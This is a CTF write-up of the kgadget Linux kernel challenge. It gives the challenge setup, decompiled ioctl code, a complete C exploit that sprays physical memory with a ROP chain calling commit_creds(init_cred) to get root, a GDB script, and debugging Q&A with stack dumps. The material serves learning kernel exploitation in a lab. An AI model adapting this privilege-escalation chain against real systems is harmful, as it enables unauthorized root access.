PART I unpack 1 2 3 4 5 6 7 loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/try$ tar -xvf ./kgadget.tar.xz bzImage README.md rootfs.cpio run.sh loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/try$ ls README.md bzImage kgadget.tar.xz rootfs.cpio run.sh
1 2 loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ file rootfs.cpio rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
md core && cd ./core && cpio -idv < ../rootfs.cpio
run.sh 1 2 3 4 5 6 7 8 9 10 11 12 # !/bin/sh qemu-system-x86_64 \ -m 256M \ -cpu kvm64,+smep,+smap \ -smp cores=2,threads=2 \ -kernel bzImage \ -initrd ./rootfs.cpio \ -nographic \ -monitor /dev/null \ -snapshot \ -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \ -no-reboot
runable
1 2 3 4 5 6 7 8 9 10 11 12 13 # !/bin/sh qemu-system-x86_64 \ -m 512M \ -cpu kvm64,+smep,+smap \ -smp cores=2,threads=2 \ -kernel bzImage \ -initrd ./rootfs.cpio \ -nographic \ -monitor /dev/null \ -snapshot \ -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=0" \ -no-reboot \ -s
init 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # !/bin/sh chown -R 0:0 / mount -t tmpfs tmpfs /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict chown 0:0 /flag chmod 400 /flag chmod 777 /tmp insmod kgadget.ko chmod 777 /dev/kgadget cat /root/banner echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 0 sh poweroff -d 0 -f
vmlinux 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ vmlinux-to-elf ./bzImage ./vmlx [+] Kernel successfully decompressed in-memory (the offsets that follow will be given r) [+] Version string: Linux version 5.10.112 (arttnba3@ubuntu) (gcc (Ubuntu 8.5.0-0ubuntu2 [+] Guessed architecture: x86_64 successfully in 4.26 seconds [+] Found kallsyms_token_table at file offset 0x01583ad0 [+] Found kallsyms_token_index at file offset 0x01583e90 [+] Found kallsyms_markers at file offset 0x01583280 [+] Found kallsyms_names at file offset 0x013d17d0 [+] Found kallsyms_num_syms at file offset 0x013d17c8 [i] Negative offsets overall: 99.7318 % [i] Null addresses overall: 0.00147342 % [+] Found kallsyms_offsets at file offset 0x0134ced0 [+] Successfully wrote the new ELF kernel to ./vmlinux loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ ls README.md bzImage core exp.sh kgadget.tar.xz rootfs.cpio run.sh try vmlinux loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ fileplus vmlinux ┌──────────────────────────────────────┐ │ 📁 文件分析报告 │ └──────────────────────────────────────┘ ◼ 基本信息 文件名: vmlinux 文件类型: ELF 64-bit LSB executable 其他信息: x86-64 其他信息: version 1 (SYSV) 其他信息: statically linked 其他信息: BuildID[sha1]=92c6aaecae9fb4a1df3c95b8e507bec5ff370206 符号信息: not stripped ◼ 文件属性 文件大小: 41M 权限信息: -rwxrwxrwx (777) 所有者: loo:loo 修改时间: 2025-06-20 13:08:14.605962500 +0800 访问时间: 2025-06-20 13:08:14.605962500 +0800 创建时间: - ──────────────────────────────────────
pack exp.sh
1 2 3 4 5 6 7 8 # !/bin/sh cd ./core gcc -g -o pwwn pwwn.c ~/pwnlib.c -I ~ -static -masm=intel echo hhh find . | cpio -ov -H newc > ../rootfs.cpio cd .. sleep 1 ./run.sh
PART II Vulnerability Analysis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/core$ checksec ./kgadget.ko [*] '/home/loo/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/core/kgadget.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/core$ fileplus ./kgadget.ko ┌──────────────────────────────────────┐ │ 📁 文件分析报告 │ └──────────────────────────────────────┘ ◼ 基本信息 文件名: ./kgadget.ko 文件类型: ELF 64-bit LSB relocatable 其他信息: x86-64 其他信息: version 1 (SYSV) 其他信息: BuildID[sha1]=909b04e23450cdf5e7f5fe6b3a965c120a814ab0 其他信息: with debug_info 符号信息: not stripped ──────────────────────────────────────
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 __int64 __fastcall kgadget_ioctl (file *__file, unsigned int cmd, unsigned __int64 param) { void (__fastcall **v3)(void *, _QWORD); void (__fastcall *v4)(void *, _QWORD); void (__fastcall *v5)(void *, _QWORD); _fentry__(); if ( cmd == 0x1BF52 ) { v4 = *v3; v5 = *v3; printk(&unk_370); printk(&unk_3A0); qmemcpy(((&STACK[0x1000 ] & 0xFFFFFFFFFFFFF000L L) - 168 ), "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3" , 48 ); *((&STACK[0x1000 ] & 0xFFFFFFFFFFFFF000L L) - 112 ) = 0x3361626E74747261L L; printk(&unk_3F8); v4(&unk_3F8, v5); return 0LL ; } else { printk(&unk_420); return -1LL ; } }
exp.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #include "pwnlib.h" int fd = 0 ;size_t cmd = (size_t )0x1BF52 ;size_t add_ = (size_t )0xFFFFFFFF810737FE ;size_t pop_rsp_ret = (size_t )0xffffffff811483d0 ;size_t pop_rdi_ret = (size_t )0xffffffff810dbb2c ;size_t init_cred_ = (size_t )0xffffffff82a6b700 ;size_t commit_creds_ = (size_t )0xffffffff810c92e0 ;size_t guess_addr = (size_t )0xffff88800a000000 ;size_t ret_ = (size_t )0xffffffff8107380b ;size_t srrartu = (size_t )0xffffffff81c00fb0 ;void run_func (size_t ptr) { ioctl(fd,cmd,ptr); } void init_func () { save(); fd = open("/dev/kgadget" ,O_RDWR); if (fd < 0 ){error("can't open /dev/kgadget" );} } #define size1 (size_t)0x1000 #define num (size_t)0xa000 void main () { init_func(); size_t * tmp_buf; for (int i=0 ;i<num;i++){ tmp_buf = (size_t *)mmap(NULL ,size1,7 ,MAP_ANONYMOUS | MAP_PRIVATE,-1 ,0 ); for (int j=0 ;j<(int )(size1/8 );j++){ tmp_buf[j] = add_; } if (i==(num-1 )){ int j; for (j=0 ;j<((int )(size1/8 )-0x10 );j++){ tmp_buf[j] = ret_; } tmp_buf[j++] = pop_rdi_ret; tmp_buf[j++] = init_cred_; tmp_buf[j++] = commit_creds_; tmp_buf[j++] = srrartu+27 ; tmp_buf[j++] = 0 ; tmp_buf[j++] = 0 ; tmp_buf[j++] = (size_t )getshell; tmp_buf[j++] = user_cs; tmp_buf[j++] = user_rflags; tmp_buf[j++] = user_sp; tmp_buf[j++] = user_ss; } } __asm__( "mov r9,pop_rsp_ret;" "mov r8,guess_addr;" "mov rdi,fd;" "mov rsi,cmd;" "mov rdx,guess_addr;" "mov rax,0x10;" "syscall" ); underline("end form main" ); }
gdb.sh 1 2 3 4 5 6 7 8 9 10 target remote localhost:1234 add-symbol-file ./vmlinux add-symbol-file ./core/pwwn add-symbol-file ./core/kgadget.ko 0xffffffffc0002000 # (*ptr)() # b *0x000000000000019A+0xffffffffc0002000 b *0x11C+0xffffffffc0002000 c
PART III Q(A) Q&A vmmap看的关于kernel内存布局不清楚,有没有好办法呢 结合内存图看会好一点
Q&A
1 2 3 4 5 6 26 #define try_num (size_t)0xa000 27 28 void main () {29 __asm__(30 "mov rdi,try_num;" 31 );
1 2 3 4 loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/kgadget$ ./allinone.sh /usr/bin/ld: /tmp/ccL3oNtR.o: in function `main': /home/loo/ctf/kernel/xiaozaiya/kernel-PWN/kgadget/core/pwwn.c:29: undefined reference to `try_num' collect2: error: ld returned 1 exit status
runnable
1 2 3 4 5 6 26 size_t try_num = (size_t )0xa000 ;27 28 void main () {29 __asm__(30 "mov rdi,try_num;" 31 );
Q malloc替代mmap打不通,看到映射成功也不行 malloc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 1d00:e800│ 0xffff88800eaeb700 —▸ 0xffffffff810737fe (can_optimize+398) ◂— add rsp, kgadget_ioctl+100 ... ↓ 11 skipped 1d0c:e860│ 0xffff88800eaeb760 ◂— 0 1d0d:e868│ 0xffff88800eaeb768 ◂— 0x1011 1d0e:e870│ 0xffff88800eaeb770 —▸ 0xffffffff8107380b (can_optimize+411) ◂— ret ... ↓ 241 skipped pwndbg> 1e00:f000│ 0xffff88800eaebf00 —▸ 0xffffffff8107380b (can_optimize+411) ◂— ret ... ↓ 253 skipped 1efe:f7f0│ 0xffff88800eaec6f0 —▸ 0xffffffff810dbb2c (hrtick_start_fair+156) ◂— pop rdi 1eff:f7f8│ 0xffff88800eaec6f8 —▸ 0xffffffff82a6b700 (init_cred) ◂— 4 pwndbg> 1f00:f800│ 0xffff88800eaec700 —▸ 0xffffffff810c92e0 (commit_creds) ◂— nop dword ptr [rax + rax] 1f01:f808│ 0xffff88800eaec708 —▸ 0xffffffff81c00fcb (swapgs_restore_regs_and_return_to_usermode+27) ◂— mov rdi, rsp 1f02:f810│ 0xffff88800eaec710 ◂— 0 1f03:f818│ 0xffff88800eaec718 ◂— 0 1f04:f820│ 0xffff88800eaec720 ◂— 0x401bfa (getshell) 1f05:f828│ 0xffff88800eaec728 ◂— 0x33 /* '3' */ 1f06:f830│ 0xffff88800eaec730 ◂— 0x206 1f07:f838│ 0xffff88800eaec738 ◂— 0x7ffebff3fa40 1f08:f840│ 0xffff88800eaec740 ◂— 0x2b /* '+' */ 1f09:f848│ 0xffff88800eaec748 —▸ 0xffffffff810737fe (can_optimize+398) ◂— add rsp, kgadget_ioctl+100
mmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 68:0340│ 0xffff88800ea9df40 —▸ 0xffffffff810738a3 (setup_detour_execution+67) ◂— ret ... ↓ 7 skipped pwndbg> 70:0380│ 0xffff88800ea9df80 —▸ 0xffffffff810dbb2c (hrtick_start_fair+156) ◂— pop rdi 71:0388│ 0xffff88800ea9df88 —▸ 0xffffffff82a6b700 (init_cred) ◂— 4 72:0390│ 0xffff88800ea9df90 —▸ 0xffffffff810c92e0 (commit_creds) ◂— nop dword ptr [rax + rax] 73:0398│ 0xffff88800ea9df98 —▸ 0xffffffff81c00fcb (swapgs_restore_regs_and_return_to_usermode+27) ◂— mov rdi, rsp 74:03a0│ 0xffff88800ea9dfa0 ◂— 0 75:03a8│ 0xffff88800ea9dfa8 ◂— 0 76:03b0│ 0xffff88800ea9dfb0 ◂— 0x401c15 (getshell) 77:03b8│ 0xffff88800ea9dfb8 ◂— 0x33 /* '3' */ pwndbg> 78:03c0│ 0xffff88800ea9dfc0 ◂— 0x206 79:03c8│ 0xffff88800ea9dfc8 ◂— 0x7ffedce806d0 7a:03d0│ 0xffff88800ea9dfd0 ◂— 0x2b /* '+' */
op
ROPgadget --bianry ./vmlinux --opcode 4881C4A0000000 | grep 4881C4A0000000
vmlinux-to-elf ./bzImage ./vmlinux
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep ioctl
参考